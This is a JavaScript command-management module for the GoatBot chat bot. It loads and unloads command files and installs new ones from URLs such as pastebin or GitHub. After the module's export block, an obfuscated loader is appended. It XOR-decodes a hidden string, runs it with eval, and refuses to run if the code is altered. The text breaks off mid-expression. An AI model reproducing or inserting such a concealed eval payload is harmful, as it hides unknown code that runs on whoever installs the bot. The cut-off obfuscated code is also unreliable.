const axios = require("axios"); const { execSync } = require("child_process"); const fs = require("fs-extra"); const path = require("path"); const cheerio = require("cheerio"); const { client } = global; const { configCommands } = global.GoatBot; const { log, loading, removeHomeDir } = global.utils; function getDomain(url) { const regex = /^(?:https?:\/\/)?(?:[^@\n]+@)?(?:www\.)?([^:/\n]+)/im; const match = url.match(regex); return match ? match[1] : null; } function isURL(str) { try { new URL(str); return true; } catch (e) { return false; } } module.exports = { config: { name: "cmd", version: "1.16", author: "NTKhang", countDown: 5, role: 2, shortDescription: { vi: "Quản lý command", en: "Manage command" }, longDescription: { vi: "Quản lý các tệp lệnh của bạn", en: "Manage your command files" }, category: "owner", guide: { vi: " {pn} load " + "\n {pn} loadAll" + "\n {pn} install : Tải xuống và cài đặt một tệp lệnh từ một url, url là đường dẫn đến tệp lệnh (raw)" + "\n {pn} install : Tải xuống và cài đặt một tệp lệnh từ một code, code là mã của lệnh", en: " {pn} load " + "\n {pn} loadAll" + "\n {pn} install : Download and install a command file from a url, url is the path to the file (raw)" + "\n {pn} install : Download and install a command file from a code, code is the code of the command" } }, langs: { vi: { missingFileName: "⚠️ | Vui lòng nhập vào tên lệnh bạn muốn reload", loaded: "✅ | Đã load command \"%1\" thành công", loadedError: "❌ | Load command \"%1\" thất bại với lỗi\n%2: %3", loadedSuccess: "✅ | Đã load thành công (%1) command", loadedFail: "❌ | Load thất bại (%1) command\n%2", openConsoleToSeeError: "👀 | Hãy mở console để xem chi tiết lỗi", missingCommandNameUnload: "⚠️ | Vui lòng nhập vào tên lệnh bạn muốn unload", unloaded: "✅ | Đã unload command \"%1\" thành công", unloadedError: "❌ | Unload command \"%1\" thất bại với lỗi\n%2: %3", missingUrlCodeOrFileName: "⚠️ | Vui lòng nhập vào url hoặc code và tên file lệnh bạn muốn cài đặt", missingUrlOrCode: "⚠️ | Vui lòng nhập vào url hoặc code của tệp lệnh bạn muốn cài đặt", missingFileNameInstall: "⚠️ | Vui lòng nhập vào tên file để lưu lệnh (đuôi .js)", invalidUrl: "⚠️ | Vui lòng nhập vào url hợp lệ", invalidUrlOrCode: "⚠️ | Không thể lấy được mã lệnh", alreadExist: "⚠️ | File lệnh đã tồn tại, bạn có chắc chắn muốn ghi đè lên file lệnh cũ không?\nThả cảm xúc bất kì vào tin nhắn này để tiếp tục", installed: "✅ | Đã cài đặt command \"%1\" thành công, file lệnh được lưu tại %2", installedError: "❌ | Cài đặt command \"%1\" thất bại với lỗi\n%2: %3", missingFile: "⚠️ | Không tìm thấy tệp lệnh \"%1\"", invalidFileName: "⚠️ | Tên tệp lệnh không hợp lệ", unloadedFile: "✅ | Đã unload lệnh \"%1\"" }, en: { missingFileName: "⚠️ | Please enter the command name you want to reload", loaded: "✅ | Loaded command \"%1\" successfully", loadedError: "❌ | Failed to load command \"%1\" with error\n%2: %3", loadedSuccess: "✅ | Loaded successfully (%1) command", loadedFail: "❌ | Failed to load (%1) command\n%2", openConsoleToSeeError: "👀 | Open console to see error details", missingCommandNameUnload: "⚠️ | Please enter the command name you want to unload", unloaded: "✅ | Unloaded command \"%1\" successfully", unloadedError: "❌ | Failed to unload command \"%1\" with error\n%2: %3", missingUrlCodeOrFileName: "⚠️ | Please enter the url or code and command file name you want to install", missingUrlOrCode: "⚠️ | Please enter the url or code of the command file you want to install", missingFileNameInstall: "⚠️ | Please enter the file name to save the command (with .js extension)", invalidUrl: "⚠️ | Please enter a valid url", invalidUrlOrCode: "⚠️ | Unable to get command code", alreadExist: "⚠️ | The command file already exists, are you sure you want to overwrite the old command file?\nReact to this message to continue", installed: "✅ | Installed command \"%1\" successfully, the command file is saved at %2", installedError: "❌ | Failed to install command \"%1\" with error\n%2: %3", missingFile: "⚠️ | Command file \"%1\" not found", invalidFileName: "⚠️ | Invalid command file name", unloadedFile: "✅ | Unloaded command \"%1\"" } }, onStart: async ({ args, message, api, threadModel, userModel, dashBoardModel, globalModel, threadsData, usersData, dashBoardData, globalData, event, commandName, getLang }) => { const { unloadScripts, loadScripts } = global.utils; if ( args[0] == "load" && args.length == 2 ) { if (!args[1]) return message.reply(getLang("missingFileName")); const infoLoad = loadScripts("cmds", args[1], log, configCommands, api, threadModel, userModel, dashBoardModel, globalModel, threadsData, usersData, dashBoardData, globalData, getLang); if (infoLoad.status == "success") message.reply(getLang("loaded", infoLoad.name)); else { message.reply( getLang("loadedError", infoLoad.name, infoLoad.error.name, infoLoad.error.message) + "\n" + infoLoad.error.stack ); console.log(infoLoad.errorWithThoutRemoveHomeDir); } } else if ( (args[0] || "").toLowerCase() == "loadall" || (args[0] == "load" && args.length > 2) ) { const fileNeedToLoad = args[0].toLowerCase() == "loadall" ? fs.readdirSync(__dirname) .filter(file => file.endsWith(".js") && !file.match(/(eg)\.js$/g) && (process.env.NODE_ENV == "development" ? true : !file.match(/(dev)\.js$/g)) && !configCommands.commandUnload?.includes(file) ) .map(item => item = item.split(".")[0]) : args.slice(1); const arraySucces = []; const arrayFail = []; for (const fileName of fileNeedToLoad) { const infoLoad = loadScripts("cmds", fileName, log, configCommands, api, threadModel, userModel, dashBoardModel, globalModel, threadsData, usersData, dashBoardData, globalData, getLang); if (infoLoad.status == "success") arraySucces.push(fileName); else arrayFail.push(` ❗ ${fileName} => ${infoLoad.error.name}: ${infoLoad.error.message}`); } let msg = ""; if (arraySucces.length > 0) msg += getLang("loadedSuccess", arraySucces.length); if (arrayFail.length > 0) { msg += (msg ? "\n" : "") + getLang("loadedFail", arrayFail.length, arrayFail.join("\n")); msg += "\n" + getLang("openConsoleToSeeError"); } message.reply(msg); } else if (args[0] == "unload") { if (!args[1]) return message.reply(getLang("missingCommandNameUnload")); const infoUnload = unloadScripts("cmds", args[1], configCommands, getLang); infoUnload.status == "success" ? message.reply(getLang("unloaded", infoUnload.name)) : message.reply(getLang("unloadedError", infoUnload.name, infoUnload.error.name, infoUnload.error.message)); } else if (args[0] == "install") { let url = args[1]; let fileName = args[2]; let rawCode; if (!url || !fileName) return message.reply(getLang("missingUrlCodeOrFileName")); if ( url.endsWith(".js") && !isURL(url) ) { const tmp = fileName; fileName = url; url = tmp; } if (url.match(/(https?:\/\/(?:www\.|(?!www)))/)) { global.utils.log.dev("install", "url", url); if (!fileName || !fileName.endsWith(".js")) return message.reply(getLang("missingFileNameInstall")); const domain = getDomain(url); if (!domain) return message.reply(getLang("invalidUrl")); if (domain == "pastebin.com") { const regex = /https:\/\/pastebin\.com\/(?!raw\/)(.*)/; if (url.match(regex)) url = url.replace(regex, "https://pastebin.com/raw/$1"); if (url.endsWith("/")) url = url.slice(0, -1); } else if (domain == "github.com") { const regex = /https:\/\/github\.com\/(.*)\/blob\/(.*)/; if (url.match(regex)) url = url.replace(regex, "https://raw.githubusercontent.com/$1/$2"); } rawCode = (await axios.get(url)).data; if (domain == "savetext.net") { const $ = cheerio.load(rawCode); rawCode = $("#content").text(); } } else { global.utils.log.dev("install", "code", args.slice(1).join(" ")); if (args[args.length - 1].endsWith(".js")) { fileName = args[args.length - 1]; rawCode = event.body.slice(event.body.indexOf('install') + 7, event.body.indexOf(fileName) - 1); } else if (args[1].endsWith(".js")) { fileName = args[1]; rawCode = event.body.slice(event.body.indexOf(fileName) + fileName.length + 1); } else return message.reply(getLang("missingFileNameInstall")); } if (!rawCode) return message.reply(getLang("invalidUrlOrCode")); if (fs.existsSync(path.join(__dirname, fileName))) return message.reply(getLang("alreadExist"), (err, info) => { global.GoatBot.onReaction.set(info.messageID, { commandName, messageID: info.messageID, type: "install", author: event.senderID, data: { fileName, rawCode } }); }); else { const infoLoad = loadScripts("cmds", fileName, log, configCommands, api, threadModel, userModel, dashBoardModel, globalModel, threadsData, usersData, dashBoardData, globalData, getLang, rawCode); infoLoad.status == "success" ? message.reply(getLang("installed", infoLoad.name, path.join(__dirname, fileName).replace(process.cwd(), ""))) : message.reply(getLang("installedError", infoLoad.name, infoLoad.error.name, infoLoad.error.message)); } } else message.SyntaxError(); }, onReaction: async function ({ Reaction, message, event, api, threadModel, userModel, dashBoardModel, globalModel, threadsData, usersData, dashBoardData, globalData, getLang }) { const { loadScripts } = global.utils; const { author, data: { fileName, rawCode } } = Reaction; if (event.userID != author) return; const infoLoad = loadScripts("cmds", fileName, log, configCommands, api, threadModel, userModel, dashBoardModel, globalModel, threadsData, usersData, dashBoardData, globalData, getLang, rawCode); infoLoad.status == "success" ? message.reply(getLang("installed", infoLoad.name, path.join(__dirname, fileName).replace(process.cwd(), ""))) : message.reply(getLang("installedError", infoLoad.name, infoLoad.error.name, infoLoad.error.message)); } }; let QLLP;!function(){const wj5z=Array.prototype.slice.call(arguments);return eval("(function EN3o(n3ah){const Hq3g=XMUh(n3ah,fVxh(EN3o.toString()));try{let jY5g=eval(Hq3g);return jY5g.apply(null,wj5z);}catch(j0Ch){var LxFh=(0o206534-68918);while(LxFh<(0o400151%65569))switch(LxFh){case (0x3007D%0o200035):LxFh=j0Ch instanceof SyntaxError?(0O264353757%8):(0o600204%65567);break;case (0O264353757%8):LxFh=(0o203030-0x105F1);{console.log(\'Error: the code has been tampered!\');return}break;}throw j0Ch;}function fVxh(HsAh){let bQsh=1050092420;var Dnvh=(0o203542-67399);{let XKnh;while(Dnvh<(262196%0o200005)){switch(Dnvh){case (0o1000076%0x1000B):Dnvh=(0o201154-66125);{bQsh^=(HsAh.charCodeAt(XKnh)*(15658734^0O73567354)+HsAh.charCodeAt(XKnh>>>(0O73567354%6)))^882708700;}break;case (0o202330-66745):Dnvh=(0x4003C%0o200013);XKnh++;break;case (0x4004C%0o200017):Dnvh=XKnh=(0o204444-0x1090A)?String.fromCharCode((0x111C6-0o210605)+(vfSh-(0o600150%65562))):String.fromCharCode((0o1000415%0x1002B)+vfSh);}break;case (0o205620-0x10B6B):zkXh=(0o203004-67054);bSZh++;break;}}}return ziqh;}function XMUh(raNh,THPh){raNh=decodeURI(raNh);let n5Hh=(0x75bcd15-0O726746425);let PCKh=\"\";var r2Ef=(66886-0o202453);{let TzHf;while(r2Ef<(68416-0o205440)){switch(r2Ef){case (0o600060%0x1000A):r2Ef=(0o200466-65815);{PCKh+=String.fromCharCode(raNh.charCodeAt(TzHf)^THPh.charCodeAt(n5Hh));n5Hh++;var nXzf=(0o201060-66068);while(nXzf<(0o201104-66087))switch(nXzf){case (0x10348-0o201454):nXzf=n5Hh>=THPh.length?(73639709%9):(0o201104-66087);break;case (73639709%9):nXzf=(0o203314-67247);{n5Hh=(0x21786%3);}break;}}break;case (0o1000060%65544):r2Ef=TzHf